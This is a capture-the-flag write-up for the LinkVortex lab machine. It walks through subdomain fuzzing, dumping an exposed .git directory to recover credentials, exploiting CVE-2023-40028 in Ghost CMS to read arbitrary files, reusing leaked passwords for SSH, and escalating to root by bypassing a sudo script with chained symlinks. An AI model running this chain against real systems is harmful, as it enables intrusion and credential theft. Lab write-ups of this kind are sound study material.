Skip to content

LinkVortex

Initial Scan

Discovered open port 22/tcp on 10.10.11.47
Discovered open port 80/tcp on 10.10.11.47

Port 22 is SSH, port 80 is HTTP.


Enumeration

The main site at http://linkvortex.htb/ runs Ghost CMS. The admin panel is at /ghost/#/signin.

Subdomain fuzzing reveals a dev subdomain:

ffuf -u http://linkvortex.htb/ -w ~/wordlists/SecLists-master/Discovery/Web-Content/common.txt -H "Host:FUZZ.linkvortex.htb" -mc 200

Result: dev.linkvortex.htb

Testing the Ghost login form confirms the email admin@linkvortex.htb exists (different error message for valid vs invalid emails).


Exploitation

Leaking credentials from .git

The dev subdomain has an exposed .git directory. We dump it with git-dumper:

python git_dumper.py http://dev.linkvortex.htb/.git linkvortex_git/

Inside the recovered files, we find hardcoded credentials in ghost/core/test/regression/api/admin/authentication.test.js:

const email = 'test@example.com';
const password = 'OctopiFociPilfer45';

We log in to Ghost at http://linkvortex.htb/ghost/#/signin as admin@linkvortex.htb with password OctopiFociPilfer45.

CVE-2023-40028 - Ghost Arbitrary File Read

./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb/

Reading config.production.json reveals database credentials for user bob:

"auth": {
  "user": "bob@linkvortex.htb",
  "pass": "fibber-talented-worth"
}

SSH Access

ssh bob@10.10.11.47
# password: fibber-talented-worth

Privilege Escalation

Running sudo -l shows bob can execute a script as root:

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The script at /opt/ghost/clean_symlink.sh checks if the argument is a .png symlink, then reads it with cat if the CHECK_CONTENT environment variable is set to true. The grep filter blocks symlinks pointing to etc or root, but we can bypass this with a chained symlink:

ln -s /root/root.txt /tmp/test.txt
ln -s /tmp/test.txt test.png
sudo CHECK_CONTENT=true bash /opt/ghost/clean_symlink.sh test.png

The first symlink points to root.txt, the second points to the first symlink (not directly to root), so the grep check passes. The script then cats the file contents.


Flags

user.txt: flag{****} root.txt: flag{****}